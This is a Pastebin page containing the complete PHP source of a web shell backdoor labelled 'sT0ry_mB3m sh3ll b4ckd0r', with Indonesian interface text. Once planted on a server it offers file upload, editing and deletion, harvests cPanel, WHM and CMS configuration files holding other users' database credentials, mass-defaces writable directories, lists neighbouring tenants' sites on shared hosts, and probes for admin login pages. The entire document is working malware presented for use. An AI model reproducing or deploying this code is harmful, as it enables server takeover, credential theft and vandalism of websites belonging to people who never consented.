Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(0);
- if(get_magic_quotes_gpc()){
- foreach($_POST as $key=>$value){
- $_POST[$key] = stripslashes($value);
- }
- }
- echo '<!DOCTYPE HTML>
- <html>
- <head>
- <link href="" rel="stylesheet" type="text/css">
- <title>mB3m</title>
- <style>
- body{
- background-color: black;
- color:silver;
- }
- #content tr:hover{
- background-color: silver;
- text-shadow:0px 0px 10px #fff;
- }
- #content .first{
- background-color: red;
- }
- table{
- border: 1px #000000 dotted;
- }
- a{
- color:white;
- text-decoration: none;
- }
- a:hover{
- color:silver;
- text-shadow:0px 0px 10px #ffffff;
- }
- input,select,textarea{
- border: 2px #00ff00 dotted;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- </style>
- </head>
- <body>
- <h1><tt><center><font color="red">sT0ry_mB3m sh3ll b4ckd0r<br></font></center></h1></tt>
- <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr><td><font color="white">Path :</font> ';
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?path=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo '</td></tr><tr><td>';
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo '<font color="green">Upload Berhasil</font><br />';
- }else{
- echo '<font color="red">Upload Gagal</font><br/>';
- }
- }
- echo '<form enctype="multipart/form-data" method="POST">
- <font color="white">File Upload :</font> <input type="file" name="file" />
- <input type="submit" value="upload" />
- </form>
- </td></tr>';
- echo "<center><a href='?'>Home |</a><a href='? sT0rymB3m=info'> sistem info | </a><a href='?dir=$dir&do=config'>Config | </a>
- <a href='?dir=$dir&do=mass_deface'>Mass Deface | </a><br>
- <a href='?dir=$dir&do=jumping'>Jumping | </a>
- <a href='?07=finder'> adfinder | </a>
- <a href='?sT0rymB3m=sym'>symlink</a>";
- if($_GET['sT0rymB3m'] == 'sym') {
- echo '<table width="600" border="600" align=center><tr><td>
- <center>
- <h1><tt><font color="red">coming soon</h1></font></tt>
- </center>
- </td></tr>
- </table>';
- }
- if($_GET['sT0rymB3m'] == 'info') {
- echo '<table width="600" border="600" align=center><tr><td>
- <center>
- System : ' . $sys . '<br>
- IP : ' . $ip . '<br>
- Safe Mode : ' . $sm . '<br>
- Disabled Functions : ' . $ds . '<br>
- Home_root : ' . $home_r . '
- </center>
- </td></tr>
- </table>';
- }
- if($_GET['do'] == 'config') {
- $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
- $idx = mkdir("sT0rymB3m_07", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("sT0rymB3m_07/.htaccess","w");
- fwrite($htc, $isi_htc);
- while($passwd = fgets($etc)) {
- if($passwd == "" || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_idx) {
- $user_config_dir = "/home/$user_idx/public_html/";
- if(is_readable($user_config_dir)) {
- $grab_config = array(
- "/home/$user_idx/.my.cnf" => "cpanel",
- "/home/$user_idx/.accesshash" => "WHM-accesshash",
- "/home/$user_idx/public_html/po-content/config.php" => "Popoji",
- "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
- "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
- "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
- "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
- "/home/$user_idx/public_html/forum/config.php" => "phpBB",
- "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
- "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/configuration.php" => "Joomla",
- "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/wp-config.php" => "WordPress",
- "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
- "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
- "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
- foreach($grab_config as $config => $nama_config) {
- $ambil_config = file_get_contents($config);
- if($ambil_config == '') {
- } else {
- $file_config = fopen("sT0rymB3m_07/$user_idx-$nama_config.txt","w");
- fputs($file_config,$ambil_config);
- }
- }
- }
- }
- }
- }
- echo "<center><a href='?dir=$dir/sT0rymB3m_07'><font color=silver>Done</font></a></center>";
- }
- if($_GET['do'] == 'mass_deface') {
- function sabun_massal($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=blue>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=blue>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='st0rymb3m.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>hacked by ./sT0ry_mB3m</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- }
- if($_GET['do'] == 'jumping') {
- $i = 0;
- echo "<div class='margin: 5px auto;'>";
- if(preg_match("/hsphere/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $url = str_replace(array("http://","www."), "", strtolower($url));
- $etc = "/etc/passwd";
- $f = fopen($etc,"r");
- while($gets = fgets($f)) {
- $pecah = explode(":", $gets);
- $user = $pecah[0];
- $dir_user = "/hsphere/local/home/$user";
- if(is_dir($dir_user) === true) {
- $url_user = $dir_user."/".$url;
- if(is_readable($url_user)) {
- $i++;
- $jrw = "[<font color=blue>R</font>] <a href='?dir=$url_user'><font color=lavender>$url_user</font></a>";
- if(is_writable($url_user)) {
- $jrw = "[<font color=blue>RW</font>] <a href='?dir=$url_user'><font color=lavender>$url_user</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
- while($getss = fgets($fp)) {
- echo $getss;
- }
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } elseif(preg_match("/vhosts/", $dir)) {
- $urls = explode("\r\n", $_POST['url']);
- if(isset($_POST['jump'])) {
- echo "<pre>";
- foreach($urls as $url) {
- $web_vh = "/var/www/vhosts/$url/httpdocs";
- if(is_dir($web_vh) === true) {
- if(is_readable($web_vh)) {
- $i++;
- $jrw = "[<font color=blue>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- if(is_writable($web_vh)) {
- $jrw = "[<font color=blue>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
- }
- echo $jrw."<br>";
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- } else {
- echo '<center>
- <form method="post">
- List Domains: <br>
- <textarea name="url" style="width: 500px; height: 250px;">';
- bing("ip:$ip");
- echo '</textarea><br>
- <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
- </form></center>';
- }
- } else {
- echo "<pre>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=blue>R</font>] <a href='?dir=$user_jumping_dir'><font color=lavender>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=blue>RW</font>] <a href='?dir=$user_jumping_dir'><font color=lavender>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".$ip;
- }
- echo "</pre>";
- }
- echo "</div>";
- }if($_GET['07'] == 'finder') {
- echo '<html>
- <head>
- <meta http-equiv="author" content="The Alchemist"/>
- <title>
- Admin Page Finder
- </title>
- </head>
- <body bgcolor=white>
- <p align="center"><font color="c0c0c0" size="5">Admin Page Finder</font></p>
- <form method="POST" action="#">
- <p align="center"><font color="c0c0c0">Enter website : </font>
- <input type="text" name="url" value="http://"/>
- <br>
- <input type="submit" name="submit" value="Check"/>
- </p>
- <br>
- <br>';
- function xss_protect($data, $strip_tags = false, $allowed_tags = "") {
- if($strip_tags) {
- $data = strip_tags($data, $allowed_tags . "<b>");
- }
- if(stripos($data, "script") !== false) {
- $result = str_replace("script","scr<b></b>ipt", htmlentities($data, ENT_QUOTES));
- } else {
- $result = htmlentities($data, ENT_QUOTES);
- }
- return $result;
- }
- function urlExist($url)
- {
- $handle = curl_init($url);
- if (false === $handle)
- {
- return false;
- }
- curl_setopt($handle, CURLOPT_HEADER, false);
- curl_setopt($handle, CURLOPT_FAILONERROR, true);
- curl_setopt($handle, CURLOPT_HTTPHEADER, Array("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15") ); // request as if Firefox
- curl_setopt($handle, CURLOPT_NOBODY, true);
- curl_setopt($handle, CURLOPT_RETURNTRANSFER, false);
- $connectable = curl_exec($handle);
- curl_close($handle);
- return $connectable;
- }
- if(isset($_POST['submit']) && isset($_POST['url']))
- {
- $url= htmlentities(xss_protect($_POST['url']));
- if(filter_var($url, FILTER_VALIDATE_URL))
- {
- $trying = array('admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/',
- 'usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/',
- 'panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php',
- 'admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php',
- 'admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html',
- 'admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php',
- 'bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php',
- 'admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
- 'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html',
- 'panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php',
- 'nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php',
- 'administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
- 'bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html',
- 'login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php',
- 'pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
- 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php',
- 'adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php',
- 'admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
- 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html',
- 'login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html',
- 'panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html',
- 'adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
- 'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php',
- 'adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php',
- 'panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php',
- 'adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php',
- 'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin.asp','admin/admin.asp',
- 'admin_area/admin.asp','admin_area/login.asp','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp',
- 'bb-admin/admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','user.asp','webadmin/index.asp',
- 'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp',
- 'adminLogin.asp','admin/adminLogin.asp','home.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp',
- 'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp',
- 'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
- 'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp');
- foreach($trying as $sec)
- {
- $urll=$url.'/'.$sec;
- if(urlExist($urll))
- {
- echo '<p align="center"><font color="00FF00">'.$urll.' exists.<br>MATCH FOUND!!!</font></p>';
- exit;
- }
- else
- {
- echo '<p align="center"><font color="FFFF00">'.$urll.' does not exist.</font></p>';
- }
- }
- echo '<p align="center"><font color="c0c0c0" size="5">Could not find admin page.</font></p>';
- }
- else
- {
- echo '<p align="center"><font color="c0c0c0" size="5">Invalid URL entered.</font></p>';
- }
- }
- echo '</body>
- </html>';
- }
- if(isset($_GET['filesrc'])){
- echo "<tr><td>Current File : ";
- echo $_GET['filesrc'];
- echo '</tr></td></table><br />';
- echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
- }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
- echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
- if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['path'],$_POST['perm'])){
- echo '<font color="green">Horee Ubah Permission Berhasil</font><br/>';
- }else{
- echo '<font color="red">Bangsat Ubah Permission Gagal</font><br />';
- }
- }
- echo '<form method="POST">
- Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" value="Meluncur" />
- </form>';
- }elseif($_POST['opt'] == 'rename'){
- if(isset($_POST['newname'])){
- if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
- echo '<font color="green">Ganti Nama Berhasil</font><br/>';
- }else{
- echo '<font color="red">Ganti Nama Gagal</font><br />';
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST">
- New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="rename">
- <input type="submit" value="Meluncur" />
- </form>';
- }elseif($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['path'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<font color="green">Berhasil Edit File</font><br/>';
- }else{
- echo '<font color="red">Gagal Edit File</font><br/>';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="edit">
- <input type="submit" value="Simpan" />
- </form>';
- }
- echo '</center>';
- }else{
- echo '</table><br/><center>';
- if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
- if($_POST['type'] == 'dir'){
- if(rmdir($_POST['path'])){
- echo '<font color="green">Directory Terhapus</font><br/>';
- }else{
- echo '<font color="red">Directory Gagal Terhapus </font><br/>';
- }
- }elseif($_POST['type'] == 'file'){
- if(unlink($_POST['path'])){
- echo '<font color="green">File Terhapus</font><br/>';
- }else{
- echo '<font color="red">File Gagal Dihapus</font><br/>';
- }
- }
- }
- echo '</center>';
- $scandir = scandir($path);
- echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
- <tr class="first">
- <td><center>Name</peller></center></td>
- <td><center>Size</peller></center></td>
- <td><center>Permission</peller></center></td>
- <td><center>Last Update</peller></center></td>
- <td><center>Modify</peller></center></td>
- </tr>';
- foreach($scandir as $dir){
- if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
- echo '<tr>
- <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
- <td><center>--</center></td>
- <td><center>';
- if(is_writable($path.'/'.$dir)) echo '<font color="green">';
- elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
- echo perms($path.'/'.$dir);
- echo"</center></td><td><center>".date("d-M-Y H:i",filemtime("$path/$file"))."";
- if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
- echo '</center></td>
- <td><center><form method="POST" action="?option&path='.$path.'">
- <select name="opt">
- <option value="">Select</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- <option value="rename">Rename</option>
- <input type="submit" value="+">
- </select>
- <input type="hidden" name="type" value="dir">
- <input type="hidden" name="name" value="'.$dir.'">
- <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
- </form></center></td>
- </tr>';
- }
- echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
- foreach($scandir as $file){
- if(!is_file($path.'/'.$file)) continue;
- $size = filesize($path.'/'.$file)/1024;
- $size = round($size,3);
- if($size >= 1024){
- $size = round($size/1024,2).' MB';
- }else{
- $size = $size.' KB';
- }
- echo '<tr>
- <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
- <td><center>'.$size.'</center></td>
- <td><center>';
- if(is_writable($path.'/'.$file)) echo '<font color="green">';
- elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
- echo perms($path.'/'.$file);
- echo"</center></td><td><center>".date("d-M-Y H:i",filemtime("$path/$file"))."";
- if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
- echo '</center></td>
- <td><center><form method="POST" action="?option&path='.$path.'">
- <select name="opt">
- <option value="">Select</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- <option value="rename">Rename</option>
- <option value="edit">Edit</option>
- </select>
- <input type="hidden" name="type" value="file">
- <input type="hidden" name="name" value="'.$file.'">
- <input type="hidden" name="path" value="'.$path.'/'.$file.'">
- <input type="submit" value="+">
- </form></center></td>
- </tr>';
- }
- echo '</table>
- </div>';
- }
- echo '<center><br/><tt><h2>sT0rymB3m</h2></tt></center>
- </body>
- </html>';
- function perms($file){
- $perms = fileperms($file);
- if (($perms & 0xC000) == 0xC000) {
- // Socket
- $info = 's';
- } elseif (($perms & 0xA000) == 0xA000) {
- // Symbolic Link
- $info = 'l';
- } elseif (($perms & 0x8000) == 0x8000) {
- // Regular
- $info = '-';
- } elseif (($perms & 0x6000) == 0x6000) {
- // Block special
- $info = 'b';
- } elseif (($perms & 0x4000) == 0x4000) {
- // Directory
- $info = 'd';
- } elseif (($perms & 0x2000) == 0x2000) {
- // Character special
- $info = 'c';
- } elseif (($perms & 0x1000) == 0x1000) {
- // FIFO pipe
- $info = 'p';
- } else {
- // Unknown
- $info = 'u';
- }
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x' ) :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x' ) :
- (($perms & 0x0400) ? 'S' : '-'));
- // World
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x' ) :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement